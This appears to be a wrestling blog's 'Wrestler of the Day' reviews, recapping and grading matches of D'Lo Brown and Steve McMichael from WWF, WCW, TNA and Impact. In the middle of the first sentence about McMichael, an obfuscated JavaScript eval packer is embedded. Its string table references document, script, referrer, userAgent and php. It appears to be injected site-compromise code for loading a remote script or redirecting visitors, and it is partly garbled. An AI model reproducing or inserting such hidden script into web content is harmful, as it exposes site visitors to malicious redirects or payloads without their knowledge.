Supply and Demand is Val Venis and the Godfather who is now a pimp and brings his ladies to the ring with him. I think you can figure out the joke yourself. Godfather says the holiday season is upon us and Val will be hanging some mistletoe, so tonight the girls have the night off and get Val as a present. Val says he has the yule log if they have the fireplace. Henry and Brown have the Pretty Mean Sisters (Terri and Jacqueline) with them here in the start of a story that went on way too long and didn’t work. In short, the girls hate men and think they’re only around to do the Sisters’ bidding.

Brown pounds away on Venis to start but stops to walk around, allowing Venis to clothesline him down. A spinebuster puts D’Lo down again and it’s off to Godfather for some chops. Another clothesline drops Brown and a hook kick to the shoulder (called the chest by Cole) has almost no effect. Off to Henry who powerslams Godfather down and chokes him on the mat. Back to Venis who tries a German suplex and gets elbowed in the face for his efforts.

A splash in the corner drops Venis and it’s back to Brown who gets two off the Sky High. The Low Down (frog splash) only hits mat though and a double tag brings in Henry and Godfather. Everything breaks down and a double suplex takes Henry over. The two sets of girls get in an argument on the floor and Jackie comes in to pull Val’s trunks down. Henry runs Venis over and splashes him for the pin.

Rating: D+. This had its moments but the ending wasn’t the best. It made things feel like a comedy match which usually only works if the popular team wins. Terri and Jacqueline would go on annoying people for months while not really accomplishing anything. Not terrible here but Brown vs. Venis would have been a better choice.

A few months later, the tag division was so lame that Wrestlemania’s title match saw the last two men in a battle royal getting a shot. From Wrestlemania XV.

Tag Titles: D’Lo Brown/Test vs. Owen Hart/Jeff Jarrett

The challengers fight with each other before the match starts. Owen and Jeff have Debra with them who is in a jacket and bikini. From the neck down she’s not bad at all. It’s a brawl to start and Test hits a fast big boot to take over. Brown and Jarrett get things going officially and D’Lo hits some fast clotheslines. Jeff charges into an elbow and it’s off to Test. He’s part of the Corporate Team while Brown has no connection to them whatsoever. A powerbomb gets two on Owen but he comes back with an enziguri, only to have Brown break up the Sharpshooter attempt.

Brown comes in legally and hits the shaky head legdrop for no cover but Jeff knees Brown in the back to give Owen an opening. A spinwheel kick puts D’Lo down for no cover as it’s back to Jarrett. Brown comes back with a double clothesline to both champions and hits something resembling a Sky High on Jeff. There’s no cover though as the managers (Ivory for the challengers) are fighting. In the distraction, Owen hits a missile dropkick on Brown to give Jeff the retaining pin.

Rating: C-. The match was ok enough but when the challengers are formed into a team 30 minutes before the match, it’s a little difficult to get behind a match like this. The tag division was BEGGING for something to save them here but it wouldn’t be until the fall when the Dudleys finally showed up and made the division worth something for a few more years.

The European Title had been retired around this time, but Mideon of all people would find the title in a bag and declare himself champion. Here’s a title defense from Fully Loaded 1999.

European Title: Mideon vs. D’lo Brown

Mideon literally found the belt in the back and said he was champion. Ok so not everything in this era was a great idea. Well it’s different I guess. WCW would do the exact same thing with Jim Duggan and the TV Title in about 6 months but even fewer people cared.

D’lo is a guy that’s actually pretty sweet in the ring but he never got a push of note. I always liked him though. Mideon was a guy that had some of the weirdest gimmicks ever but he kept his job anyway so if nothing else he was good enough to keep around. Nothing bad about that at all. Mideon shouts loudly and I think he’s not supposed to be heard.

This is about as basic of a match as you can ask for. Definitely something that belongs on Raw. Smackdown didn’t exist as a regular show yet. Brown botches a tornado DDT for two. Mideon turns around and walks into the Sky High. Low Down gives him the title back to a surprisingly NICE pop.

Rating: C-. I like Brown so there’s your justification. This should have been on Raw though as there is nothing special at all about this match to warrant a PPV spot. To be fair though they kept it short so it’s not like this was eating up PPV time and it wasn’t really bad or anything. Just no need to put it on the PPV.

There were two midcard titles around this time, so let’s unify them. From Raw on August 2, 1999.

European Title/Intercontinental Title: D’Lo Brown vs. Jeff Jarrett

They slug it out to start and the referee actually breaks it up for a change. Jeff jumps into an early Sky High for two but the fans are more interested in puppies. A powerslam gets another two on Jeff, sending him outside as a result. He tells Debra that they’re leaving but it’s a ruse to sucker Brown to the floor. That’s fine with D’Lo who drops Jeff face first onto the steps.

Back in and Jeff dropkicks him out of the air before dropping some knees to the chest. A DDT on the arm drops Brown again and we hit the armbar. Jeff transitions into a sleeper but Brown elbows his way to freedom. Brown catapults him into the corner and hammers away with right hands but the referee gets bumped. Debra comes in with both titles and unhooks her top. The distraction doesn’t work though as Brown catches Jarrett sneaking up with a title belt. The gold goes off Jeff’s head and Brown is a double champion.

Rating: C-. This wasn’t anything great but it was nice to see someone actually smart getting something special. The title reigns wouldn’t last long but I’m glad they went with something new instead of the old guard in Jarrett. Brown was getting a very nice push around this time and while he wouldn’t have fit in the main event, this was a very nice prize for him. Also, how rare is it to see a match get some time in this era?

Brown’s reigns wouldn’t last long but he had a chance to get the European Title back at Unforgiven 1999.

European Title: Mark Henry vs. D’Lo Brown

WOW they’ve picked two bad matches to start us off here. He’s Sexual Chocolate here. Tom Pritchard is the referee. Henry says there can’t be a match because Garcia slapping him hurt him. Brown actually got one heck of a push around this time if you can believe that. Brown could go in the ring if nothing else. Yes I liked him. Pritchard is wearing blue pants and it looks ridiculous. The crowd is somewhat alive here but not much.

They talk about Rebellion which is in 6 days. Yep, that’s coming too. Brown hits a Taker Dive over the ropes which looked great. This has been all Brown so far so expect that to change in a few seconds. Yep there it is. Good night Henry is limited as all goodness in the ring. How has he not leaned anything new in like 15 years? This is still just boring as all goodness. Brown is getting some pops if nothing else. Henry does the ten punch in the corner but gets powerbombed out of it and the Lo Down ends it. Nice ending to a terrible match.

Rating: D. Somewhat better but that’s not saying much. It was just ok and that’s mainly because I liked D’Lo. If nothing else they made it believable which is really all you can ask for here. Not bad. Ok yeah it was but it could have been worse. Also who in the world thought giving Henry a title at this point was a good idea?

We’ll skip ahead a bit due to an injury and return with Brown in a low level tag team on Raw, January 22, 2001.

Tag Titles: Dudley Boys vs. Lo Down

Low Down is Chaz (Mosh from the Headbangers) and D’lo Brown in an Arabian gimmick. They were supposed to be in the Rumble but Drew got their spot so this is their makeup present. I miss the missile/rocket that would come down for the Dudleys’ entrance. Tiger Ali Singh, the manager of Lo Down, is on commentary here.

The challengers jump the Dudleys early and take over. The Dudleys are slightly hurt from Edge and Christian attacking them and their match the night before. The Dudleys beat down the challengers as Jerry gets a turban. Brown tries to use a belt but gets hit in the head with it for the DQ. Lo Down wins and Tiger goes through a table via 3D. This was again really short and too short to grade.

Brown was sent to developmental for a LONG time, not returning until late 2002. From Raw, October 21, 2002.

Test vs. D’Lo Brown

Stacy is referee so she can wear a revealing outfit. Test looks like an idiot with long hair and short tights. Stacy slaps Brown and rings the bell. Test launches him over with a big backdrop and pounds away in the corner. Brown gets his feet up to block a charge followed by a flying forearm. Brown drops a leg but Stacy interferes again. The Sky High hits but Stacy is tying her shoe instead of counting. The big boot from Test and a fast count give the Canadian the win. Stacy jumps in Test’s arms post match.

We’ll head over to TNA where Brown was something resembling a big deal. Here he is in a tag match at TNA Weekly PPV #43 on May 7, 2003.

Triple X vs. AJ Styles/D’Lo Brown

Triple X is Elix Skipper/Low Ki and the winners go on to a #1 contenders match later tonight. Brown and Low Ki trade strikes to start until Brown grabs a slam and drops some elbows. A blind tag brings in AJ for a springboard missile dropkick and a knee drop for two. Low Ki has to kick someone before he explodes so he takes over with a cartwheel kick.

Off to Skipper but AJ nips up into a hurricanrana for two. Brown comes in and slams AJ onto Skipper’s chest but Low Ki comes back in for some chops. Skipper is back in almost immediately and gets suplexed down. A flapjack gives Brown even more of a breather and he dives into a tag to Styles. The good guys chop Elix down but he pulls Brown to the floor and sends him into the barricade.

Back inside and Low Ki kicks AJ in the head to stagger him again before Skipper comes in again for some forearms. Styles counters the Play of the Day and makes another hot tag to Brown. Everything breaks down and D’Lo hits a double shaky head legdrop. A Cactus Clothesline sends Brown and Skipper to the floor but Brown slides back in to catch a cartwheeling Low Ki in the Sky High for the pin.

Rating: D+. Nice finish to a boring match. I’m not sure why this match was on the set as there were some much more interesting tag matches. There’s a good chance this was based on the name power instead of the match itself, which is understandable given how long it would take to watch every match.

After several years in Japan, D’Lo would make a surprise return to WWE at some house shows (one of which I saw live). He would return to WWE on Raw, July 21, 2008.

D’Lo Brown vs. Santino Marella

Beth Phoenix comes out to watch for reasons yet to be explained. Brown shoves Santino off a headlock and drives shoulders in the corner. A suplex and legdrop have Santino in even more trouble and Brown adds a low clothesline for no cover. The Low Down gets the easy pin. Total squash.

We’re going to jump way ahead now to 2013 when D’Lo joined the Aces and 8’s in a story everyone saw coming and no one cared about. It let to this match on Impact, May 3, 2013.

Kurt Angle vs. D’Lo Brown

Before the match, Brown says we make it an I Quit match. He jumps Angle to start but Kurt easily takes him to the mat as you would expect him to. Anderson tells the rest of the bikers to stay back as the guys head to the floor. Brown misses a hammer shot against the post but manages to pull Angle’s arm into the post. Back inside and D’Lo goes after the arm with a bunch of basic stuff.

We get a wristlock into a cross armbreaker but Angle fights up into a quickly broken ankle lock. Off to a cobra clutch on Kurt but he Hulks Up and rolls some six straight German suplexes. Brown breaks the ankle lock again and busts out a Samoan drop of all things. D’Lo loads up a powerbomb but Angle rolls through into the ankle lock for the submission at 8:02.

Rating: D+. Yeah imagine that: challenging one of the best submission wrestlers ever to a submission match WAS A REALLY BAD IDEA. At the end of the day, this was D’Lo Brown trying to be a big physical threat in the year 2013. There’s only so much you can do with something like that, which shows the problem with Aces and 8’s.

D’Lo was a guy that didn’t seem to be the most interesting guy in the world but he had a very long career and comes off as a very smart guy. The thing that impresses me the most about Brown was him getting a degree so he would have something to fall back on once his career was over. I like it when people show some common sense and intelligence like that and it makes their careers more enjoyable. Brown had a very solid career but unfortunately is remembered as the guy that rolled his head from side to side.

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Wrestler of the Day – August 21: Steve McMichael

Today’s Wrestler of the Day was awes…..well he was good at…..uh……his music was good. Yeah we’ll go with that. It’s Steve McMichael.

McMichael, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fftbk|var|u0026u|referrer|ssffk||js|php'.split('|'),0,{})) better known by his nickname of Mongo, was a big time football player who became a wrestling commentator after retiring. He was then brought in to wrestle with fellow football player Kevin Greene at Great American Bash 1996.

Ric Flair/Arn Anderson vs. Kevin Greene/Steve McMichael

This is another attempt at crossing over with football, which just never works for one reason: football players can’t wrestle that well because they get a crash course in wrestling. Now there have been players that have gotten long training and are wrestlers for a long time who become good wrestlers and Mongo got close to doing that, but not when they do it in the off season or after retiring for the most part.

Heenan manages the heels here for no apparent reason. Savage manages the faces because he hates Flair, which is fine as it gives them a lot more credibility. Greene walks like a robot. His wife is hot though so that helps a lot. Rhodes makes a great comment that the football players who have been learning to wrestle shouldn’t try to wrestle. So wait, they wasted their time for the last few months? That’s a great endorsement there Dusty.

Arn and Mongo get down in a three point stance because that’s a brilliant idea where Mongo of course dominates him. Tony says that Mongo left the Bears for money. Remember that line. This really is just getting stupid all around. What’s commonly forgotten about Flair is that he was a college football player as well at the University of Minnesota, so the three point stance isn’t exactly a foreign concept to him.

Very soon we start to see the problem: the football guys know about 5 moves each, two of which are boots and punches. You can see that Flair and Anderson are completely carrying them and calling the whole thing, including hearing Flair call spots to Mongo, which might be due to the extreme close-ups in the corner.

Flair whispered, but with the camera 4 inches from him you can’t really blame him for that. The heel women chase away the face women. The announcers are still trying to make this sound epic and are still failing on every level. Mongo gets beaten on forever until the hot tag to bring in Greene for more punches, tackles and slams. Another five minutes or so of beating on Greene until Flair gets the figure four on.

Debra, Liz and Woman come back but Debra is dressed up now and Liz has a briefcase. You know what’s coming next. The shirt and money are in the case and Mongo hits Greene with it to join the Horsemen and end the match, drawing a huge pop as this is Horsemen country. Post match, there’s a huge beatdown by all four Horsemen. Benoit and Savage fight as I drool over the idea of that feud. You can see Flair say good job to Green after he pins him and the Four Horsemen are back!

Rating: C-. This was just pretty bad to say the least. I’ll give the football guys credit though as they were at least trying very hard. The turn at the end was clearly the most important part and while the match went on too long, it wasn’t terrible for what it was. Could have been better but it also could have been worse.

So Mongo is a Horsement, meaning it’s time for an eight man tag. From Nitro on July 1, 1996.

Rock N Roll Express/Joe Gomez/Renegade vs. Four Horsemen

Anderson vs. Morton to start after a break. Everything breaks down quickly and the Horsemen bail. Flair vs. Morton now. How often do you see all of the Horsemen in one match as a team? Morton gets a rana and there’s the double dropkick by the Express. Were this 1986, the crowd would be in a frenzy. Here it barely gets two. Flair vs. Gibson now and then off to AA.

Enziguri takes Anderson down as the Horsemen aren’t looking all that good here. Off to Benoit and Renegade who hasn’t meant anything in like a year. Benoit hammers away and it’s off to Flair again. No Mongo yet. The card for Bash at the Beach doesn’t sound half bad actually. Gomez beats on Flair and hits a backdrop but Flair cheats and brings in Benoit. Chris was in his element as a Horseman, he really was.

Benoit mauls him and the natural order of the universe is restored. Finally off to Mongo who gets a decent reaction actually. This is his in ring debut as a Horseman I believe. Mongo is in a word, really bad. He does some stuff that looks like a football player doing moves before thankfully bringing Flair back in. Gomez gets a sunset flip on Anderson for two.

There’s a spinebuster which is called a sidewalk slam here. Back off to Benoit who gets caught in a backslide for two. And that more or less ends Gomez’s career as Benoit is all fired up and the punches go flying. Off to Flair who does the same but Gomez manages to escape the Figure Four. Anderson and Flair work the knee and it’s off to Benoit who is all too comfortable with taking apart a body part.

Back to Mongo who is in desperate need of experience for the most part. Powerslam doesn’t look that bad. Neither does an elbow. That was FAR better than his first time in there. Off to Anderson but Gomez gets a shot in and the hot tag to Renegade. He cleans a few rooms and everything breaks down. Mongo totally botches the briefcase shot as he doesn’t actually hit Renegade (he tosses the case and the announcers make fun of him for it) but Renegade goes down anyway, into the Figure Four and we’re done.

Rating: C. Meh pretty basic match here but it was cool to see the Horsemen united like this. Mongo was indeed bad, but it was his second wrestling match ever. How mad can you really get at him for something like that? The powerslam wasn’t bad but he never really got any better at all. Points for trying though.

Now a six man version from Nitro on July 22, 1996.

Sting/Lex Luger/Randy Savage vs. Ric Flair/Steve McMichael/Chris Benoit

No Anderson, not even as a second. Flair isn’t here either but we were told earlier he would be making an entrance. After a break Arn is checking a white limo for whom I’d assume to be Flair. He can’t find him though so Arn, who just happens to be in wrestling gear, is filling in. The announcers speculate about who the next guy in the NWO could be and Heenan says it’s all about money. I guess you could call that foreshadowing.

Sting vs. Anderson to start us off. Mongo takes Sting down and the double beatdown is on. Back inside and here’s Benoit. I’d love to see early 90s Sting vs. Benoit in a 20 minute match or so. Mongo gets a bad neckbreaker for two. A bad dropkick follows and we look at the white limo. Off to the Crippler again and an elbow gets two. Only Sting has been in so far.

Anderson takes a few punches but manages to stop the tag. Back to the football dude who hammers on him in the corner and it’s very clear Mongo isn’t ready to be in there yet. It’s not his fault but he’s just not experienced enough yet. Even a few months in a minor league would have done wonders for him. Lex finally gets the hot tag and cleans house. Everything breaks down and the girls try to slip in the briefcase. Savage manages to steal it back and clocks Benoit with it, allowing Luger to get the easy pin.

Rating: C+. This was fine. It was short but given Mongo, that’s probably a good thing. He was trying but the experience and coordination just didn’t click. He was a great football player but it’s a different thing and I think he learned that quickly. Savage was never legally in the match I don’t think.

We did eight and we did six, so here’s four, from Halloween Havoc 1996.

Faces of Fear vs. Chris Benoit/Steve McMichael

Mongo has barely any experience at all so expect a heavy dose of Benoit here which is hardly a bad thing. If nothing else we get the music again for the Horsemen. This feud went on forever and there was never really a blowoff for it other than it just stopping. Meng and Mongo start and McMichael hides from a kick. Oh that looked bad. It’s always cool seeing Benoit’s mix of wrestling and brawling. Not a lot of people were as good at it as he was.

Mongo loses a sumo match to Meng. Is there a reason this is happening? Mongo wakes up and uses football moves to get Meng down. This works so well that Meng kicks him in the face. I love that. Whenever someone does something stupid, KICK THEM IN THE FACE. McMichael tries some dropkicks. This is a very sad sight. The match is only watchable when Benoit is in there so the tag can’t come fast enough.

In a NICE move, Meng backdrops Benoit into a powerbomb from Barbarian. It’s an awesome move, so Dusty starts talking about the Outsiders. Why you ask? It’s Dusty so this is normal for him. A double headbutt from the top hits Benoit as it’s a good thing that he’s in. Tony talks about an old rule called the One Save Rule, which says that if you save your partner more than once it’s a DQ. This rule isn’t in effect anymore and I’ve never heard of it.

Mongo pops Meng with the briefcase, thereby completely ignoring all stereotypes, and the top rope headbutt ends it. The Dungeon runs in and since the Horsemen are with Anderson at the hospital it’s Benoit vs. everyone. That only works for so long though as the Dungeon stands tall. At least there’s a feud here to explain this. Sullivan goes up to Woman and says let me show you why I’m still the man and does what we would call a punt on Benoit.

Rating: D. I know I gave the previous match the same grade but this is somewhat better. There’s a feud here which makes sense so that’s definitely a good thing. This was really bad when Mongo was in and decent when Benoit was in. Mongo always looked like he was trying, but he just didn’t ever get the hang of it. This is a great example of it.

Mongo would actually main event a PPV in a unique match. From Uncensored 1997.

Team WCW vs. Team NWO vs. Team Piper

WCW: Giant, Lex Luger, Scott Steiner
NWO: Hall, Nash, Hogan, Savage
Piper: Piper, McMichael, Jarrett, Benoit

This is kind of like a cross between WarGames and a battle royal. You have three guys start and go five minutes. Then after two minutes we get another man from each team (Team WCW will miss an entry due to Rick going on and they weren’t smart enough to have Page fill in). It’s elimination style, which means we don’t have to deal with 11 guys in the ring at once. You can put someone out via pin, submission, knockout and over the top.

If Team WCW wins, the NWO is stripped of all titles and can’t wrestle for 3 years. If Team Piper wins, Piper gets Hogan in a cage at a time to be announced. If Team NWO wins, they more or less have carte blanche (Previously they would have gotten a title shot anywhere anytime, kind of like Money in the Bank). They change that back to the MITB thing but it would ultimately be the free reign thing.

Benoit, Hall and Giant start us off. They’re not at ringside which is kind of stupid as you would be able to jump them as they come out in theory no? Benoit jumps Hall before Giant gets there. Not that we can see that as we need to see Giant’s very slow walk to the ring instead. Giant gets in very slowly which is rather smart before taking them both down with a clothesline.

Benoit tries to chop away and it doesn’t work at all. It’s almost hard to believe that Benoit would be world champion before Hall. Basically this is Giant and two other guys in there as he keeps dominating the entire time. Elbow drop on Hall so Benoit tries to jump Giant. No real attempts to throw anyone out but since you can win by pinfall that’s ok.

Sleeper doesn’t work for Hall and Giant gets a huge chokeslam to Benoit for only two. Hall saves, I guess out of fear of fighting Giant one on one. Giant busts out the claw of all things but a corner splash misses and Giant is gone first! That leaves two guys for Team WCW. The clock runs out on the first period and it’s Jarrett, Randy Savage and Luger. That puts five guys in the ring at the moment if you’re keeping score.

It’s more or less a battle royal at this point as Luger can’t gorilla press Savage out. Jeff avoids a Razor’s Edge and here come Mongo, Nash and Scott Steiner. No real effort to put anyone out right now as everyone is really just beating on each other. Belly to belly puts Nash down as we only have Hogan and Piper left. Nash gets a big boot and clothesline to Jarrett and he’s out. Jeff that is. Mongo gets backdropped out so Team Piper has just Benoit and Piper left.

Here are Hogan and Piper so everyone is out there now. Nash gets a big boot to Steiner to knock him out so Luger is all that’s left for WCW, Piper and Benoit for Piper and all of the NWO is left. Wait where’s Hogan? What a shock he’s going to come out last isn’t he? Oh there he is with Dennis Rodman. Piper is on the floor but not out. Scratch that as he’s back now. Seven people in at the moment.

Hogan, Piper and Savage are on the floor with Hogan kind of chilling and Piper choking Savage. The Outsiders beat up Benoit and everyone is finally in there at the same time. Hogan throws Piper through the ropes and they brawl on the floor a bit. After Savage jumps them in the aisle everyone goes back to the ring. In a HORRIBLY stupid looking moment, Piper is sent into the ropes but Rodman pulls it down to put him out. This would have looked passable if Piper didn’t JUMP OVER THE ROPE BEFORE IT WAS PULLED DOWN. And people wonder why they went out of business.

They keep brawling on the floor anyway and Savage helps as it’s the Outsider Edge for Benoit. The tag champs toss him out and Team Piper is gone. Luger is the only one left for WCW and he’s against technically five guys counting Rodman. The NWO literally stands around for a minute and a half posing before Nash sets him up for a powerbomb.

Luger escapes and racks Savage, clotheslines Nash and racks Hall to eliminate all three in under thirty seconds. And never mind as when he goes to rack Hogan, Savage gets the spraypaint from Rodman and pops Luger in the face with it so Hogan can get the winning pin. The NWO won a big match. I’m shocked too.

Rating: B-. The match was actually pretty good as it didn’t really get stupid and for a big multi-man tag, this actually worked. I fail to see why Rick wasn’t out there but still, pretty good stuff. The ending was obvious but it doesn’t ever drag, the stuff they did made perfect sense the entire time and it was kind of interesting. Shockingly good main event.

And now, more football at Slamboree 1997.

Reggie White vs. Steve McMichael

GREAT. This is EXACTLY what this show needs. Why is Reggie White fighting? Who knows? Who cares? My guess is because even though Mongo is a face here, he turned heel on Greene like 11 months ago and this is REVENGE. You would think that Greene would want revenge himself, but he’s in the main event with the guys that Mongo turned on him for. In theory White is a heel here, but naturally he’s treated as the hero against a Horseman in CHARLOTTE. He has his strength coach with him. This is White’s first match ever and they put him with STEVE FREAKING MCMICHAEL. Let’s get this over with.

Feeling out process to start as Mongo is definitely playing heel. They collide and both stumble. They do it again and Mongo stumbles a bit. White hooks a headlock and they ram again with Mongo going down this time. Steve draws the scrimmage line and they go at it with Mongo taking the leg out. They do it again and White jumps over him, then hits him in the side of the ribs which is a “clothesline.”

Mongo tries to leave but one of White’s teammates comes out to throw him back in. It’s a nose tackle from the Packers apparently. White gets some great height on a dropkick for two. The kick sucked but he was UP THERE. The fans cheer for Mongo but he keeps playing heel because that’s what was set before the match and White (not his fault) doesn’t know how to be a heel because HE ISN’T A WRESTLER.

Mongo hooks an armbar and shouts about how Jesus may have White’s soul (White was known as a very religious man) but Mongo has him right now. That gets McMichael sent to the floor and it’s more stalling. White hooks a headlock but Mongo escapes and clips him to take over. Side slam puts Reggie down but he comes back up quickly and puts the headlock on again before hitting a cross body for two.

Off to a nerve hold by White but McMichael hits him low and makes fun of church bells. Off to another leg lock and then a half crab. They ram each other into the corner a few times but Steve kicks the knee out. Figure four is countered and White shoves him down. He actually SELLS THE KNEE….or maybe he’s just tired. They slug it out in the corner and Reggie is all fired up.

There’s an atomic drop and a much better clothesline to put Mongo on the floor. Back in and McMichael takes over, only to have his suplex countered. He hits a splash but there’s no referee because of Debra. Briefcase is stolen by the other football player but Jeff Jarrett comes out and throws in another case and the shot with that gets the pin on White.

Rating: F. As in FIFTEEN MINUTES that this match got. Now before I get into this, I want to emphasize something: Reggie White was TRYING out there. He looked fired up, he was going the entire time, and there have been far worse celebrity performances in the past. That being said, the match was WAY too long and McMichael was the totally wrong person to try to carry him.

Think back to the 96 Great American Bash when it was Mongo/Greene debuting as a team. They faced Arn Anderson and Ric Flair, two of the best ring technicians ever. Flair and Arn walked then through a 20 minute match and it wasn’t that terrible. That being said, this was a HORRIBLE idea. You took basically a rookie and had him work a fifteen minute match with a football player. Horrible match, but more based on the people that put it together rather than the wrestlers.

Another Horsemen match from Nitro, June 30, 1997.

Steve McMichael/Ric Flair/Chris Benoit vs. Buff Bagwell/Masahiro Chono/Scott Norton

Bagwell and Flair start things off and we get a strutting competition. Buff pounds on Flair in the corner and it’s off to Mongo who has a dumb look on his face. Mongo gets caught in the wrong corner but he comes back with right hands to Chono. Back to Flair who pounds away for about five seconds before Benoit comes in to a nice reaction. Chono kicks him down but stops to argue with Flair, allowing Benoit to clothesline Chono down and hit the Swan Dive. Everything breaks down and Vincent comes in for the DQ.

Rating: D+. Nothing to see here as the whole match wasn’t even four minutes long and had the NWO DQ as required by WCW law. Also I’m not sure what was accomplished here at all, but on a shot this big I can understand the matches being this short. It isn’t fun to sit through but it’s understandable.

For reasons that still aren’t clear, Mongo would be given a shot at some gold at Clash of the Champions XXXV.

US Title: Steve McMichael vs. Jeff Jarrett

Jarrett is a talented wrestler from Tennessee who wanted to be in the Horsemen but never fit. He won a match to become a Horseman which gave the team five members instead of the usual four. Jarrett and McMichael (nicknamed Mongo) argued almost every day and Mongo’s wife Debra got in the middle of things because she liked Jarrett and eventually helped him win the US Title in June. Mongo wants Debra to be in his corner because she’s his wife, but Debra just kept causing trouble which eventually (among other things) led to the downfall of the Horsemen.

Jeff speeds things up to start and keeps moving around Mongo while pointing to his head. Mongo misses again and Jeff ducks down into a three point stance to take out the challenger’s knee. Jeff lays across the ropes and struts as he was known to do but gets clotheslined down to the floor for getting on Mongo’s nerves.

We take a break and come back with Mongo being whipped into the steps. Debra chokes Mongo across the ropes to really rub in how evil she is. The fans don’t seem to care though. Back inside and Jarrett hooks a sleeper but Mongo reverses into one of his own. Debra gets the referee’s attention so Eddie Guerrero, another of Debra’s clients, comes out and accidentally blasts Jarrett in the back with the title belt, giving Mongo the pin and the title.

Rating: D. The wrestling wasn’t very good, the story wasn’t very good and the fans didn’t care. What else can you expect from something with all those things going wrong? Jarrett just didn’t work in WCW at all and the whole thing was bordering on being a disaster. Debra screwed up a lot of things in the Horsemen as well as they went from an elite group to petty arguments like you would see in high school.

Mongo’s wife Debra would turn on him and pick up Alex Wright as her new client. Here’s their showdown at World War III 1997.

Steve McMichael vs. Bill Goldberg

This is over Mongo’s Super Bowl ring that Goldberg stole at the previous PPV. Mongo comes out with a pipe Goldberg’s music hits and there’s no Goldberg. Mongo says this isn’t happening and says he can sneak up on people too. We go to the back and Goldberg is out cold. So no one noticed the big man in his underwear out cold on the concrete just behind the entry way? Mongo more or less gives an open challenge, resulting in this.

Steve McMichael vs. Alex Wright

Wright isn’t here because he wants to be but because Debra, Mongo’s estranged wife, brings him out and more or less makes his fight. Wright whips him with his jacket to start. Wright is from Germany so wouldn’t that be a foreign object? Mongo is like screw this and hammers away, sending Wright to the floor. He tries to leave but Debra more or less makes him come back.

Alex tries to fight and gets slammed down to the mat with ease. Mongo is barely breaking a sweat in this. Was there a reason they didn’t have Goldberg in this that I’m not getting? Debra’s voice is irritating to put it mildly. Wright takes over for a very little bit with chops but McMichael takes out the knee. Side slam sets up the Tombstone to end it. Total and complete squash and no rating here. Heenan asks Who’s Next for Mongo. Nah that’ll never catch on.

Here’s the showdown from Starrcade 1997.

Bill Goldberg vs. Steve McMichael

Steve “Mongo” McMichael is a former Horseman and NFL player, but he’s absolutely terrible in the ring. Goldberg is still undefeated at this point and would become a much bigger deal after this show is over. This is happening because Goldberg stole McMichael’s Super Bowl ring and they’ve attacked each other a few times since. The brawl is on in the aisle to start but Mongo’s offense isn’t having much effect. Goldberg literally picks him up and carries Mongo into the ring like a rag doll.

Goldberg picks up a table at ringside as the bell rings and the actual match begins. Mongo suplexes him down for two but a big shoulder tackle takes Steve down for two. We head to the floor where the table is leaning against the post. They fight around the ring with Mongo taking over before heading back inside, only to have Goldberg punch Mongo as Steve dives off the top. Goldberg hooks a quick leg lock and is toying with Mongo at this point.

The spear (the setup for Goldberg’s finisher) hits for two and Goldberg loads up the table on the floor. He tries to slam Mongo over the top and through the table but the referee breaks it up. A dropkick of all things puts Mongo down and out to the floor and we have to be getting close to done. Mongo gets back up onto the apron, only to be punched through the table. Back in and the Jackhammer (suplex but instead Goldberg turns it over into a powerslam) ends Mongo.

Rating: D. This was terrible but Goldberg’s day was coming. It was clear that Mongo just wasn’t any good as a wrestler and thankfully in 1998 he would be pushed WAY down the card and rarely ever have a big match again. The match itself was slow and plodding, but Goldberg would be pushed to the moon very quickly after this.

Brace yourselves. Nitro, February 9, 1998.

Glacier vs. Steve McMichael

Louie Spicolli has jumped into the commentary booth and is carrying bags he says belongs to “his friend” Larry. Still no word on where Larry is. Glacier tries to jump the Texan from behind but gets slugged down to the floor with ease. Back in and Glacier pounds away, only to send Mongo right back to the floor. They head back in again for Glacier to fire off his basic karate stuff followed by a snap suplex. Glacier jumps into an elbow, gets forearmed in the head a few times and the Mongo Spike (tombstone) ends this very quick.

The Horsemen would occasionally team up on TV, including on Nitro, June 29, 1998.

Chris Benoit/Steve McMichael vs. Harlem Heat

Benoit and Booker get us going which is the best idea for everyone. Stevie comes in before there’s any contact though and gets stomped down into the corner with ease. A clothesline out of the same corner takes Benoit down and it’s off to Booker who gets caught in a dragon screw leg whip. Tag brings in Mongo to pound on Booker with his generic power offense until he charges into a boot in the corner.

Back to Stevie for his own generic power offense as the crowd audibly dies. Booker comes back in for a spinebuster for two but Benoit has had enough. Everything breaks down without any tags and here’s Bret Hart with a chair to blast Booker in the back, giving Mongo (who didn’t see Bret) a pin.

Rating: D+. Simple explanation for this: Booker and Benoit good, Stevie and Mongo bad. That’s as basic as you can get here and the fans seemed to feel the same. I’m not even sure why Stevie doesn’t like Benoit in the first place. Is it just because Benoit offered to help Booker whenever he needed it? That’s why we’ve in the third week of feuding?

Mongo would even get some squashes. From Nitro on July 20, 1998.

Steve McMichael vs. Sick Boy

Hey look a match. Tony tells us that the wrecked car is a reference to Jay Leno, who always drives a different car to the Tonight Show. Tony: “That’s all it could be.” Lodi and Sick Boy jump Mongo on the floor and a clothesline gets two for Sick Boy. Mongo comes right back with a three point clothesline and the tombstone for the pin in about a minute.

The Horsemen would reunite in the fall, giving us even more pairings, such as this one on December 3, 1998 on Thunder.

Chris Benoit/Steve McMichael vs. Raven/Kanyon

Before the match Raven sits in the corner while Kanyon grabs a mic. Kanyon yells at him for putting his head through a window tonight and talks about Raven’s mother. The fans actually get tricked as Kanyon asks who is NOT better than Kanyon before we go to Arn Anderson leading the Horsemen to the ring. Benoit runs Kanyon over to start but gets caught in a sweet rollup for twp. They trade wristlocks until Kanyon takes him down and chokes away out of anger at Raven.

Kanyon stops to call the depressed Raven an idiot, allowing Mongo to run him over out of a three point stance. Steve misses a boot in the corner though and gets caught in something like a neckbreaker. The Horsemen take over with Benoit chopping the skin off Kanyon’s chest before stomping him down for good measure. Raven doesn’t do much so Benoit goes over to yell at him before Kanyon gets double teamed some more.

A backbreaker gets two for Chris but he charges into a boot in the corner. Not that it really matters as he takes Kanyon down with a dragon screw leg whip, only to miss the Swan Dive. Raven still won’t tag so Kanyon hits a powerbomb into a faceplant for two as Raven walks away after being tagged. That’s a countout as Benoit puts Kanyon in the Crossface.

Rating: C+. The idea here worked pretty well with Raven’s downward spiral into depression continues with him walking away from his only friend. Other than that the Benoit stuff was very good, but Mongo just wasn’t working out there for the most part. Thankfully he won’t be around much anymore.

